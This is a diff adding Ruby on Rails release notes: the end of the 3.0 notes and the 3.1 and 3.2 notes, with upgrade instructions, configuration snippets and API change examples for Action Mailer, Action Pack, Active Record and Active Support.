+The security patch for REXML remains in Active Support because early patch-levels of Ruby 1.8.7 still need it. Active Support knows whether it has to apply it or not.
+
+The following methods have been removed because they are no longer used in the framework:
+
+* `Kernel#daemonize`
+* `Object#remove_subclasses_of` `Object#extend_with_included_modules_from`, `Object#extended_by`
+* `Class#remove_class`
+* `Regexp#number_of_captures`, `Regexp.unoptionalize`, `Regexp.optionalize`, `Regexp#number_of_captures`
+
+
+Action Mailer
+-------------
+
+Action Mailer has been given a new API with TMail being replaced out with the new [Mail](http://github.com/mikel/mail) as the Email library. Action Mailer itself has been given an almost complete re-write with pretty much every line of code touched. The result is that Action Mailer now simply inherits from Abstract Controller and wraps the Mail gem in a Rails DSL. This reduces the amount of code and duplication of other libraries in Action Mailer considerably.
+
+* All mailers are now in `app/mailers` by default.
+* Can now send email using new API with three methods: `attachments`, `headers` and `mail`.
+* ActionMailer now has native support for inline attachments using the `attachments.inline` method.
+* Action Mailer emailing methods now return `Mail::Message` objects, which can then be sent the `deliver` message to send itself.
+* All delivery methods are now abstracted out to the Mail gem.
+* The mail delivery method can accept a hash of all valid mail header fields with their value pair.
+* The `mail` delivery method acts in a similar way to Action Controller's `respond_to`, and you can explicitly or implicitly render templates. Action Mailer will turn the email into a multipart email as needed.
+* You can pass a proc to the `format.mime_type` calls within the mail block and explicitly render specific types of text, or add layouts or different templates. The `render` call inside the proc is from Abstract Controller and supports the same options.
+* What were mailer unit tests have been moved to functional tests.
+* Action Mailer now delegates all auto encoding of header fields and bodies to Mail Gem
+* Action Mailer will auto encode email bodies and headers for you
+
+Deprecations:
+
+* `:charset`, `:content_type`, `:mime_version`, `:implicit_parts_order` are all deprecated in favor of `ActionMailer.default :key => value` style declarations.
+* Mailer dynamic `create_method_name` and `deliver_method_name` are deprecated, just call `method_name` which now returns a `Mail::Message` object.
+* `ActionMailer.deliver(message)` is deprecated, just call `message.deliver`.
+* `template_root` is deprecated, pass options to a render call inside a proc from the `format.mime_type` method inside the `mail` generation block
+* The `body` method to define instance variables is deprecated (`body {:ivar => value}`), just declare instance variables in the method directly and they will be available in the view.
+* Mailers being in `app/models` is deprecated, use `app/mailers` instead.

+Ruby on Rails 3.1 Release Notes
+===============================
+
+Highlights in Rails 3.1:
+
+* Streaming
+* Reversible Migrations
+* Assets Pipeline
+* jQuery as the default JavaScript library
+
+This release notes cover the major changes, but don't include every little bug fix and change. If you want to see everything, check out the [list of commits](https://github.com/rails/rails/commits/master) in the main Rails repository on GitHub.
+
+--------------------------------------------------------------------------------
+
+Upgrading to Rails 3.1
+----------------------
+
+If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3 in case you haven't and make sure your application still runs as expected before attempting to update to Rails 3.1. Then take heed of the following changes:
+
+### Rails 3.1 requires at least Ruby 1.8.7
+
+Rails 3.1 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.1 is also compatible with Ruby 1.9.2.
+
+TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x jump on 1.9.2 for smooth sailing.
+
+### What to update in your apps
+
+The following changes are meant for upgrading your application to Rails 3.1.3, the latest 3.1.x version of Rails.
+
+#### Gemfile
+
+Make the following changes to your `Gemfile`.
+
+```ruby
+gem 'rails', '= 3.1.3'
+gem 'mysql2'
+
+# Needed for the new asset pipeline
+group :assets do
+ gem 'sass-rails', "~> 3.1.5"
+ gem 'coffee-rails', "~> 3.1.1"
+ gem 'uglifier', ">= 1.0.3"
+end
+
+# jQuery is the default JavaScript library in Rails 3.1
+gem 'jquery-rails'
+```
+
+#### config/application.rb
+
+* The asset pipeline requires the following additions:
+
+ ```ruby
+ config.assets.enabled = true
+ config.assets.version = '1.0'
+ ```
+
+* If your application is using the "/assets" route for a resource you may want change the prefix used for assets to avoid conflicts:
+
+ ```ruby
+ # Defaults to '/assets'
+ config.assets.prefix = '/asset-files'
+ ```
+
+#### config/environments/development.rb
+
+* Remove the RJS setting `config.action_view.debug_rjs = true`.
+
+* Add the following, if you enable the asset pipeline.
+
+ ```ruby
+ # Do not compress assets
+ config.assets.compress = false
+
+ # Expands the lines which load the assets
+ config.assets.debug = true
+ ```
+
+#### config/environments/production.rb
+
+* Again, most of the changes below are for the asset pipeline. You can read more about these in the [Asset Pipeline](asset_pipeline.html) guide.
+
+ ```ruby
+ # Compress JavaScripts and CSS
+ config.assets.compress = true
+
+ # Don't fallback to assets pipeline if a precompiled asset is missed
+ config.assets.compile = false
+
+ # Generate digests for assets URLs
+ config.assets.digest = true
+
+ # Defaults to Rails.root.join("public/assets")
+ # config.assets.manifest = YOUR_PATH
+
+ # Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added)
+ # config.assets.precompile `= %w( search.js )
+
+
+ # Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
+ # config.force_ssl = true
+ ```
+
+#### config/environments/test.rb
+
+```ruby
+# Configure static asset server for tests with Cache-Control for performance
+config.serve_static_assets = true
+config.static_cache_control = "public, max-age=3600"
+```
+
+#### config/initializers/wrap_parameters.rb
+
+* Add this file with the following contents, if you wish to wrap parameters into a nested hash. This is on by default in new applications.
+
+ ```ruby
+ # Be sure to restart your server when you modify this file.
+ # This file contains settings for ActionController::ParamsWrapper which
+ # is enabled by default.
+
+ # Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array.
+ ActiveSupport.on_load(:action_controller) do
+ wrap_parameters :format => [:json]
+ end
+
+ # Disable root element in JSON by default.
+ ActiveSupport.on_load(:active_record) do
+ self.include_root_in_json = false
+ end
+ ```
+
+#### Remove :cache and :concat options in asset helpers references in views
+
+* With the Asset Pipeline the :cache and :concat options aren't used anymore, delete these options from your views.
+
+Creating a Rails 3.1 application
+--------------------------------
+
+```bash
+# You should have the 'rails' rubygem installed
+$ rails new myapp
+$ cd myapp
+```
+
+### Vendoring Gems
+
+Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](https://github.com/carlhuda/bundler) gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.
+
+More information: - [bundler homepage](http://gembundler.com)
+
+### Living on the Edge
+
+`Bundler` and `Gemfile` makes freezing your Rails application easy as pie with the new dedicated `bundle` command. If you want to bundle straight from the Git repository, you can pass the `--edge` flag:
+
+```bash
+$ rails new myapp --edge
+```
+
+If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the `--dev` flag:
+
+```bash
+$ ruby /path/to/rails/railties/bin/rails new myapp --dev
+```
+
+Rails Architectural Changes
+---------------------------
+
+### Assets Pipeline
+
+The major change in Rails 3.1 is the Assets Pipeline. It makes CSS and JavaScript first-class code citizens and enables proper organization, including use in plugins and engines.
+
+The assets pipeline is powered by [Sprockets](https://github.com/sstephenson/sprockets) and is covered in the [Asset Pipeline](asset_pipeline.html) guide.
+
+### HTTP Streaming
+
+HTTP Streaming is another change that is new in Rails 3.1. This lets the browser download your stylesheets and JavaScript files while the server is still generating the response. This requires Ruby 1.9.2, is opt-in and requires support from the web server as well, but the popular combo of nginx and unicorn is ready to take advantage of it.
+
+### Default JS library is now jQuery
+
+jQuery is the default JavaScript library that ships with Rails 3.1. But if you use Prototype, it's simple to switch.
+
+```bash
+$ rails new myapp -j prototype
+```
+
+### Identity Map
+
+Active Record has an Identity Map in Rails 3.1. An identity map keeps previously instantiated records and returns the object associated with the record if accessed again. The identity map is created on a per-request basis and is flushed at request completion.
+
+Rails 3.1 comes with the identity map turned off by default.
+
+Railties
+--------
+
+* jQuery is the new default JavaScript library.
+
+* jQuery and Prototype are no longer vendored and is provided from now on by the jquery-rails and prototype-rails gems.
+
+* The application generator accepts an option `-j` which can be an arbitrary string. If passed "foo", the gem "foo-rails" is added to the `Gemfile`, and the application JavaScript manifest requires "foo" and "foo_ujs". Currently only "prototype-rails" and "jquery-rails" exist and provide those files via the asset pipeline.
+
+* Generating an application or a plugin runs `bundle install` unless `--skip-gemfile` or `--skip-bundle` is specified.
+
+* The controller and resource generators will now automatically produce asset stubs (this can be turned off with `--skip-assets`). These stubs will use CoffeeScript and Sass, if those libraries are available.
+
+* Scaffold and app generators use the Ruby 1.9 style hash when running on Ruby 1.9. To generate old style hash, `--old-style-hash` can be passed.
+
+* Scaffold controller generator creates format block for JSON instead of XML.
+
+* Active Record logging is directed to STDOUT and shown inline in the console.
+
+* Added `config.force_ssl` configuration which loads `Rack::SSL` middleware and force all requests to be under HTTPS protocol.
+
+* Added `rails plugin new` command which generates a Rails plugin with gemspec, tests and a dummy application for testing.
+
+* Added `Rack::Etag` and `Rack::ConditionalGet` to the default middleware stack.
+
+* Added `Rack::Cache` to the default middleware stack.
+
+* Engines received a major update - You can mount them at any path, enable assets, run generators etc.
+
+Action Pack
+-----------
+
+### Action Controller
+
+* A warning is given out if the CSRF token authenticity cannot be verified.
+
+* Specify `force_ssl` in a controller to force the browser to transfer data via HTTPS protocol on that particular controller. To limit to specific actions, `:only` or `:except` can be used.
+
+* Sensitive query string parameters specified in `config.filter_parameters` will now be filtered out from the request paths in the log.
+
+* URL parameters which return `nil` for `to_param` are now removed from the query string.
+
+* Added `ActionController::ParamsWrapper` to wrap parameters into a nested hash, and will be turned on for JSON request in new applications by default. This can be customized in `config/initializers/wrap_parameters.rb`.
+
+* Added `config.action_controller.include_all_helpers`. By default `helper :all` is done in `ActionController::Base`, which includes all the helpers by default. Setting `include_all_helpers` to `false` will result in including only application_helper and the helper corresponding to controller (like foo_helper for foo_controller).
+
+* `url_for` and named url helpers now accept `:subdomain` and `:domain` as options.
+
+* Added `Base.http_basic_authenticate_with` to do simple http basic authentication with a single class method call.
+
+ ```ruby
+ class PostsController < ApplicationController
+ USER_NAME, PASSWORD = "dhh", "secret"
+
+ before_filter :authenticate, :except => [ :index ]
+
+ def index
+ render :text => "Everyone can see me!"
+ end
+
+ def edit
+ render :text => "I'm only accessible if you know the password"
+ end
+
+ private
+ def authenticate
+ authenticate_or_request_with_http_basic do |user_name, password|
+ user_name == USER_NAME && password == PASSWORD
+ end
+ end
+ end
+ ```
+
+ ..can now be written as
+
+ ```ruby
+ class PostsController < ApplicationController
+ http_basic_authenticate_with :name => "dhh", :password => "secret", :except => :index
+
+ def index
+ render :text => "Everyone can see me!"
+ end
+
+ def edit
+ render :text => "I'm only accessible if you know the password"
+ end
+ end
+ ```
+
+* Added streaming support, you can enable it with:
+
+ ```ruby
+ class PostsController < ActionController::Base
+ stream
+ end
+ ```
+
+ You can restrict it to some actions by using `:only` or `:except`. Please read the docs at [`ActionController::Streaming`](http://api.rubyonrails.org/classes/ActionController/Streaming.html) for more information.
+
+* The redirect route method now also accepts a hash of options which will only change the parts of the url in question, or an object which responds to call, allowing for redirects to be reused.
+
+### Action Dispatch
+
+* `config.action_dispatch.x_sendfile_header` now defaults to `nil` and `config/environments/production.rb` doesn't set any particular value for it. This allows servers to set it through `X-Sendfile-Type`.
+
+* `ActionDispatch::MiddlewareStack` now uses composition over inheritance and is no longer an array.
+
+* Added `ActionDispatch::Request.ignore_accept_header` to ignore accept headers.
+
+* Added `Rack::Cache` to the default stack.
+
+* Moved etag responsibility from `ActionDispatch::Response` to the middleware stack.
+
+* Rely on `Rack::Session` stores API for more compatibility across the Ruby world. This is backwards incompatible since `Rack::Session` expects `#get_session` to accept four arguments and requires `#destroy_session` instead of simply `#destroy`.
+
+* Template lookup now searches further up in the inheritance chain.
+
+### Action View
+
+* Added an `:authenticity_token` option to `form_tag` for custom handling or to omit the token by passing `:authenticity_token => false`.
+
+* Created `ActionView::Renderer` and specified an API for `ActionView::Context`.
+
+* In place `SafeBuffer` mutation is prohibited in Rails 3.1.
+
+* Added HTML5 `button_tag` helper.
+
+* `file_field` automatically adds `:multipart => true` to the enclosing form.
+
+* Added a convenience idiom to generate HTML5 data-* attributes in tag helpers from a `:data` hash of options:
+
+ ```ruby
+ tag("div", :data => {:name => 'Stephen', :city_state => %w(Chicago IL)})
+ # => <div data-name="Stephen" data-city-state="["Chicago","IL"]" />
+ ```
+
+Keys are dasherized. Values are JSON-encoded, except for strings and symbols.
+
+* `csrf_meta_tag` is renamed to `csrf_meta_tags` and aliases `csrf_meta_tag` for backwards compatibility.
+
+* The old template handler API is deprecated and the new API simply requires a template handler to respond to call.
+
+* rhtml and rxml are finally removed as template handlers.
+
+* `config.action_view.cache_template_loading` is brought back which allows to decide whether templates should be cached or not.
+
+* The submit form helper does not generate an id "object_name_id" anymore.
+
+* Allows `FormHelper#form_for` to specify the `:method` as a direct option instead of through the `:html` hash. `form_for(@post, remote: true, method: :delete)` instead of `form_for(@post, remote: true, html: { method: :delete })`.
+
+* Provided `JavaScriptHelper#j()` as an alias for `JavaScriptHelper#escape_javascript()`. This supersedes the `Object#j()` method that the JSON gem adds within templates using the JavaScriptHelper.
+
+* Allows AM/PM format in datetime selectors.
+
+* `auto_link` has been removed from Rails and extracted into the [rails_autolink gem](https://github.com/tenderlove/rails_autolink)
+
+Active Record
+-------------
+
+* Added a class method `pluralize_table_names` to singularize/pluralize table names of individual models. Previously this could only be set globally for all models through `ActiveRecord::Base.pluralize_table_names`.
+
+ ```ruby
+ class User < ActiveRecord::Base
+ self.pluralize_table_names = false
+ end
+ ```
+
+* Added block setting of attributes to singular associations. The block will get called after the instance is initialized.
+
+ ```ruby
+ class User < ActiveRecord::Base
+ has_one :account
+ end
+
+ user.build_account{ |a| a.credit_limit = 100.0 }
+ ```
+
+* Added `ActiveRecord::Base.attribute_names` to return a list of attribute names. This will return an empty array if the model is abstract or the table does not exist.
+
+* CSV Fixtures are deprecated and support will be removed in Rails 3.2.0.
+
+* `ActiveRecord#new`, `ActiveRecord#create` and `ActiveRecord#update_attributes` all accept a second hash as an option that allows you to specify which role to consider when assigning attributes. This is built on top of Active Model's new mass assignment capabilities:
+
+ ```ruby
+ class Post < ActiveRecord::Base
+ attr_accessible :title
+ attr_accessible :title, :published_at, :as => :admin
+ end
+
+ Post.new(params[:post], :as => :admin)
+ ```
+
+* `default_scope` can now take a block, lambda, or any other object which responds to call for lazy evaluation.
+
+* Default scopes are now evaluated at the latest possible moment, to avoid problems where scopes would be created which would implicitly contain the default scope, which would then be impossible to get rid of via Model.unscoped.
+
+* PostgreSQL adapter only supports PostgreSQL version 8.2 and higher.
+
+* `ConnectionManagement` middleware is changed to clean up the connection pool after the rack body has been flushed.
+
+* Added an `update_column` method on Active Record. This new method updates a given attribute on an object, skipping validations and callbacks. It is recommended to use `update_attributes` or `update_attribute` unless you are sure you do not want to execute any callback, including the modification of the `updated_at` column. It should not be called on new records.
+
+* Associations with a `:through` option can now use any association as the through or source association, including other associations which have a `:through` option and `has_and_belongs_to_many` associations.
+
+* The configuration for the current database connection is now accessible via `ActiveRecord::Base.connection_config`.
+
+* limits and offsets are removed from COUNT queries unless both are supplied.
+
+ ```ruby
+ People.limit(1).count # => 'SELECT COUNT(*) FROM people'
+ People.offset(1).count # => 'SELECT COUNT(*) FROM people'
+ People.limit(1).offset(1).count # => 'SELECT COUNT(*) FROM people LIMIT 1 OFFSET 1'
+ ```
+
+* `ActiveRecord::Associations::AssociationProxy` has been split. There is now an `Association` class (and subclasses) which are responsible for operating on associations, and then a separate, thin wrapper called `CollectionProxy`, which proxies collection associations. This prevents namespace pollution, separates concerns, and will allow further refactorings.
+
+* Singular associations (`has_one`, `belongs_to`) no longer have a proxy and simply returns the associated record or `nil`. This means that you should not use undocumented methods such as `bob.mother.create` - use `bob.create_mother` instead.
+
+* Support the `:dependent` option on `has_many :through` associations. For historical and practical reasons, `:delete_all` is the default deletion strategy employed by `association.delete(*records)`, despite the fact that the default strategy is `:nullify` for regular has_many. Also, this only works at all if the source reflection is a belongs_to. For other situations, you should directly modify the through association.
+
+* The behavior of `association.destroy` for `has_and_belongs_to_many` and `has_many :through` is changed. From now on, 'destroy' or 'delete' on an association will be taken to mean 'get rid of the link', not (necessarily) 'get rid of the associated records'.
+
+* Previously, `has_and_belongs_to_many.destroy(*records)` would destroy the records themselves. It would not delete any records in the join table. Now, it deletes the records in the join table.
+
+* Previously, `has_many_through.destroy(*records)` would destroy the records themselves, and the records in the join table. [Note: This has not always been the case; previous version of Rails only deleted the records themselves.] Now, it destroys only the records in the join table.
+
+* Note that this change is backwards-incompatible to an extent, but there is unfortunately no way to 'deprecate' it before changing it. The change is being made in order to have consistency as to the meaning of 'destroy' or 'delete' across the different types of associations. If you wish to destroy the records themselves, you can do `records.association.each(&:destroy)`.
+
+* Add `:bulk => true` option to `change_table` to make all the schema changes defined in a block using a single ALTER statement.
+
+ ```ruby
+ change_table(:users, :bulk => true) do |t|
+ t.string :company_name
+ t.change :birthdate, :datetime
+ end
+ ```
+
+* Removed support for accessing attributes on a `has_and_belongs_to_many` join table. `has_many :through` needs to be used.
+
+* Added a `create_association!` method for `has_one` and `belongs_to` associations.
+
+* Migrations are now reversible, meaning that Rails will figure out how to reverse your migrations. To use reversible migrations, just define the `change` method.
+
+ ```ruby
+ class MyMigration < ActiveRecord::Migration
+ def change
+ create_table(:horses) do |t|
+ t.column :content, :text
+ t.column :remind_at, :datetime
+ end
+ end
+ end
+ ```
+
+* Some things cannot be automatically reversed for you. If you know how to reverse those things, you should define `up` and `down` in your migration. If you define something in change that cannot be reversed, an `IrreversibleMigration` exception will be raised when going down.
+
+* Migrations now use instance methods rather than class methods:
+
+ ```ruby
+ class FooMigration < ActiveRecord::Migration
+ def up # Not self.up
+ ...
+ end
+ end
+ ```
+
+* Migration files generated from model and constructive migration generators (for example, add_name_to_users) use the reversible migration's `change` method instead of the ordinary `up` and `down` methods.
+
+* Removed support for interpolating string SQL conditions on associations. Instead, a proc should be used.
+
+ ```ruby
+ has_many :things, :conditions => 'foo = #{bar}' # before
+ has_many :things, :conditions => proc { "foo = #{bar}" } # after
+ ```
+
+ Inside the proc, `self` is the object which is the owner of the association, unless you are eager loading the association, in which case `self` is the class which the association is within.
+
+ You can have any "normal" conditions inside the proc, so the following will work too:
+
+ ```ruby
+ has_many :things, :conditions => proc { ["foo = ?", bar] }
+ ```
+
+* Previously `:insert_sql` and `:delete_sql` on `has_and_belongs_to_many` association allowed you to call 'record' to get the record being inserted or deleted. This is now passed as an argument to the proc.
+
+* Added `ActiveRecord::Base#has_secure_password` (via `ActiveModel::SecurePassword`) to encapsulate dead-simple password usage with BCrypt encryption and salting.
+
+ ```ruby
+ # Schema: User(name:string, password_digest:string, password_salt:string)
+ class User < ActiveRecord::Base
+ has_secure_password
+ end
+ ```
+
+* When a model is generated `add_index` is added by default for `belongs_to` or `references` columns.
+
+* Setting the id of a `belongs_to` object will update the reference to the object.
+
+* `ActiveRecord::Base#dup` and `ActiveRecord::Base#clone` semantics have changed to closer match normal Ruby dup and clone semantics.
+
+* Calling `ActiveRecord::Base#clone` will result in a shallow copy of the record, including copying the frozen state. No callbacks will be called.
+
+* Calling `ActiveRecord::Base#dup` will duplicate the record, including calling after initialize hooks. Frozen state will not be copied, and all associations will be cleared. A duped record will return `true` for `new_record?`, have a `nil` id field, and is saveable.
+
+* The query cache now works with prepared statements. No changes in the applications are required.
+
+Active Model
+------------
+
+* `attr_accessible` accepts an option `:as` to specify a role.
+
+* `InclusionValidator`, `ExclusionValidator`, and `FormatValidator` now accepts an option which can be a proc, a lambda, or anything that respond to `call`. This option will be called with the current record as an argument and returns an object which respond to `include?` for `InclusionValidator` and `ExclusionValidator`, and returns a regular expression object for `FormatValidator`.
+
+* Added `ActiveModel::SecurePassword` to encapsulate dead-simple password usage with BCrypt encryption and salting.
+
+* `ActiveModel::AttributeMethods` allows attributes to be defined on demand.
+
+* Added support for selectively enabling and disabling observers.
+
+* Alternate `I18n` namespace lookup is no longer supported.
+
+Active Resource
+---------------
+
+* The default format has been changed to JSON for all requests. If you want to continue to use XML you will need to set `self.format = :xml` in the class. For example,
+
+ ```ruby
+ class User < ActiveResource::Base
+ self.format = :xml
+ end
+ ```
+
+Active Support
+--------------
+
+* `ActiveSupport::Dependencies` now raises `NameError` if it finds an existing constant in `load_missing_constant`.
+
+* Added a new reporting method `Kernel#quietly` which silences both `STDOUT` and `STDERR`.
+
+* Added `String#inquiry` as a convenience method for turning a String into a `StringInquirer` object.
+
+* Added `Object#in?` to test if an object is included in another object.
+
+* `LocalCache` strategy is now a real middleware class and no longer an anonymous class.
+
+* `ActiveSupport::Dependencies::ClassCache` class has been introduced for holding references to reloadable classes.
+
+* `ActiveSupport::Dependencies::Reference` has been refactored to take direct advantage of the new `ClassCache`.
+
+* Backports `Range#cover?` as an alias for `Range#include?` in Ruby 1.8.
+
+* Added `weeks_ago` and `prev_week` to Date/DateTime/Time.
+
+* Added `before_remove_const` callback to `ActiveSupport::Dependencies.remove_unloadable_constants!`.
+
+Deprecations:
+
+* `ActiveSupport::SecureRandom` is deprecated in favor of `SecureRandom` from the Ruby standard library.

+Ruby on Rails 3.2 Release Notes
+===============================
+
+Highlights in Rails 3.2:
+
+* Faster Development Mode
+* New Routing Engine
+* Automatic Query Explains
+* Tagged Logging
+
+These release notes cover the major changes, but do not include each bug-fix and changes. If you want to see everything, check out the [list of commits](https://github.com/rails/rails/commits/3-2-stable) in the main Rails repository on GitHub.
+
+--------------------------------------------------------------------------------
+
+Upgrading to Rails 3.2
+----------------------
+
+If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.1 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 3.2. Then take heed of the following changes:
+
+### Rails 3.2 requires at least Ruby 1.8.7
+
+Rails 3.2 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.2 is also compatible with Ruby 1.9.2.
+
+TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump on to 1.9.2 or 1.9.3 for smooth sailing.
+
+### What to update in your apps
+
+* Update your Gemfile to depend on
+ * `rails = 3.2.0`
+ * `sass-rails ~> 3.2.3`
+ * `coffee-rails ~> 3.2.1`
+ * `uglifier >= 1.0.3`
+
+* Rails 3.2 deprecates `vendor/plugins` and Rails 4.0 will remove them completely. You can start replacing these plugins by extracting them as gems and adding them in your Gemfile. If you choose not to make them gems, you can move them into, say, `lib/my_plugin/*` and add an appropriate initializer in `config/initializers/my_plugin.rb`.
+
+* There are a couple of new configuration changes you'd want to add in `config/environments/development.rb`:
+
+ ```ruby
+ # Raise exception on mass assignment protection for Active Record models
+ config.active_record.mass_assignment_sanitizer = :strict
+
+ # Log the query plan for queries taking more than this (works
+ # with SQLite, MySQL, and PostgreSQL)
+ config.active_record.auto_explain_threshold_in_seconds = 0.5
+ ```
+
+ The `mass_assignment_sanitizer` config also needs to be added in `config/environments/test.rb`:
+
+ ```ruby
+ # Raise exception on mass assignment protection for Active Record models
+ config.active_record.mass_assignment_sanitizer = :strict
+ ```
+
+### What to update in your engines
+
+Replace the code beneath the comment in `script/rails` with the following content:
+
+```ruby
+ENGINE_ROOT = File.expand_path('../..', __FILE__)
+ENGINE_PATH = File.expand_path('../../lib/your_engine_name/engine', __FILE__)
+
+require 'rails/all'
+require 'rails/engine/commands'
+```
+
+Creating a Rails 3.2 application
+--------------------------------
+
+```bash
+# You should have the 'rails' rubygem installed
+$ rails new myapp
+$ cd myapp
+```
+
+### Vendoring Gems
+
+Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](https://github.com/carlhuda/bundler) gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.
+
+More information: [Bundler homepage](http://gembundler.com)
+
+### Living on the Edge
+
+`Bundler` and `Gemfile` makes freezing your Rails application easy as pie with the new dedicated `bundle` command. If you want to bundle straight from the Git repository, you can pass the `--edge` flag:
+
+```bash
+$ rails new myapp --edge
+```
+
+If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the `--dev` flag:
+
+```bash
+$ ruby /path/to/rails/railties/bin/rails new myapp --dev
+```
+
+Major Features
+--------------
+
+### Faster Development Mode & Routing
+
+Rails 3.2 comes with a development mode that's noticeably faster. Inspired by [Active Reload](https://github.com/paneq/active_reload), Rails reloads classes only when files actually change. The performance gains are dramatic on a larger application. Route recognition also got a bunch faster thanks to the new [Journey](https://github.com/rails/journey) engine.
+
+### Automatic Query Explains
+
+Rails 3.2 comes with a nice feature that explains queries generated by ARel by defining an `explain` method in `ActiveRecord::Relation`. For example, you can run something like `puts Person.active.limit(5).explain` and the query ARel produces is explained. This allows to check for the proper indexes and further optimizations.
+
+Queries that take more than half a second to run are *automatically* explained in the development mode. This threshold, of course, can be changed.
+
+### Tagged Logging
+
+When running a multi-user, multi-account application, it's a great help to be able to filter the log by who did what. TaggedLogging in Active Support helps in doing exactly that by stamping log lines with subdomains, request ids, and anything else to aid debugging such applications.
+
+Documentation
+-------------
+
+From Rails 3.2, the Rails guides are available for the Kindle and free Kindle Reading Apps for the iPad, iPhone, Mac, Android, etc.
+
+Railties
+--------
+
+* Speed up development by only reloading classes if dependencies files changed. This can be turned off by setting `config.reload_classes_only_on_change` to false.
+
+* New applications get a flag `config.active_record.auto_explain_threshold_in_seconds` in the environments configuration files. With a value of `0.5` in `development.rb` and commented out in `production.rb`. No mention in `test.rb`.
+
+* Added `config.exceptions_app` to set the exceptions application invoked by the `ShowException` middleware when an exception happens. Defaults to `ActionDispatch::PublicExceptions.new(Rails.public_path)`.
+
+* Added a `DebugExceptions` middleware which contains features extracted from `ShowExceptions` middleware.
+
+* Display mounted engines' routes in `rake routes`.
+
+* Allow to change the loading order of railties with `config.railties_order` like:
+
+ ```ruby
+ config.railties_order = [Blog::Engine, :main_app, :all]
+ ```
+
+* Scaffold returns 204 No Content for API requests without content. This makes scaffold work with jQuery out of the box.
+
+* Update `Rails::Rack::Logger` middleware to apply any tags set in `config.log_tags` to `ActiveSupport::TaggedLogging`. This makes it easy to tag log lines with debug information like subdomain and request id -- both very helpful in debugging multi-user production applications.
+
+* Default options to `rails new` can be set in `~/.railsrc`. You can specify extra command-line arguments to be used every time 'rails new' runs in the `.railsrc` configuration file in your home directory.
+
+* Add an alias `d` for `destroy`. This works for engines too.
+
+* Attributes on scaffold and model generators default to string. This allows the following: `rails g scaffold Post title body:text author`
+
+* Allow scaffold/model/migration generators to accept "index" and "uniq" modifiers. For example,
+
+ ```ruby
+ rails g scaffold Post title:string:index author:uniq price:decimal{7,2}
+ ```
+
+ will create indexes for `title` and `author` with the latter being an unique index. Some types such as decimal accept custom options. In the example, `price` will be a decimal column with precision and scale set to 7 and 2 respectively.
+
+* Turn gem has been removed from default Gemfile.
+
+* Remove old plugin generator `rails generate plugin` in favor of `rails plugin new` command.
+
+* Remove old `config.paths.app.controller` API in favor of `config.paths["app/controller"]`.
+
+#### Deprecations
+
+* `Rails::Plugin` is deprecated and will be removed in Rails 4.0. Instead of adding plugins to `vendor/plugins` use gems or bundler with path or git dependencies.
+
+Action Mailer
+-------------
+
+* Upgraded `mail` version to 2.4.0.
+
+* Removed the old Action Mailer API which was deprecated since Rails 3.0.
+
+Action Pack
+-----------
+
+### Action Controller
+
+* Make `ActiveSupport::Benchmarkable` a default module for `ActionController::Base,` so the `#benchmark` method is once again available in the controller context like it used to be.
+
+* Added `:gzip` option to `caches_page`. The default option can be configured globally using `page_cache_compression`.
+
+* Rails will now use your default layout (such as "layouts/application") when you specify a layout with `:only` and `:except` condition, and those conditions fail.
+
+ ```ruby
+ class CarsController
+ layout 'single_car', :only => :show
+ end
+ ```
+
+ Rails will use 'layouts/single_car' when a request comes in :show action, and use 'layouts/application' (or 'layouts/cars', if exists) when a request comes in for any other actions.
+
+* form\_for is changed to use "#{action}\_#{as}" as the css class and id if `:as` option is provided. Earlier versions used "#{as}\_#{action}".
+
+* `ActionController::ParamsWrapper` on ActiveRecord models now only wrap `attr_accessible` attributes if they were set. If not, only the attributes returned by the class method `attribute_names` will be wrapped. This fixes the wrapping of nested attributes by adding them to `attr_accessible`.
+
+* Log "Filter chain halted as CALLBACKNAME rendered or redirected" every time a before callback halts.
+
+* `ActionDispatch::ShowExceptions` is refactored. The controller is responsible for choosing to show exceptions. It's possible to override `show_detailed_exceptions?` in controllers to specify which requests should provide debugging information on errors.
+
+* Responders now return 204 No Content for API requests without a response body (as in the new scaffold).
+
+* `ActionController::TestCase` cookies is refactored. Assigning cookies for test cases should now use `cookies[]`
+
+ ```ruby
+ cookies[:email] = 'user at example.com'
+ get :index
+ assert_equal 'user at example.com', cookies[:email]
+ ```
+
+ To clear the cookies, use `clear`.
+
+ ```ruby
+ cookies.clear
+ get :index
+ assert_nil cookies[:email]
+ ```
+
+ We now no longer write out HTTP_COOKIE and the cookie jar is persistent between requests so if you need to manipulate the environment for your test you need to do it before the cookie jar is created.
+
+* `send_file` now guesses the MIME type from the file extension if `:type` is not provided.
+
+* MIME type entries for PDF, ZIP and other formats were added.
+
+* Allow fresh_when/stale? to take a record instead of an options hash.
+
+* Changed log level of warning for missing CSRF token from `:debug` to `:warn`.
+
+* Assets should use the request protocol by default or default to relative if no request is available.
+
+#### Deprecations
+
+* Deprecated implied layout lookup in controllers whose parent had a explicit layout set:
+
+ ```ruby
+ class ApplicationController
+ layout "application"
+ end
+
+ class PostsController < ApplicationController
+ end
+ ```
+
+ In the example above, Posts controller will no longer automatically look up for a posts layout. If you need this functionality you could either remove `layout "application"` from `ApplicationController` or explicitly set it to `nil` in `PostsController`.
+
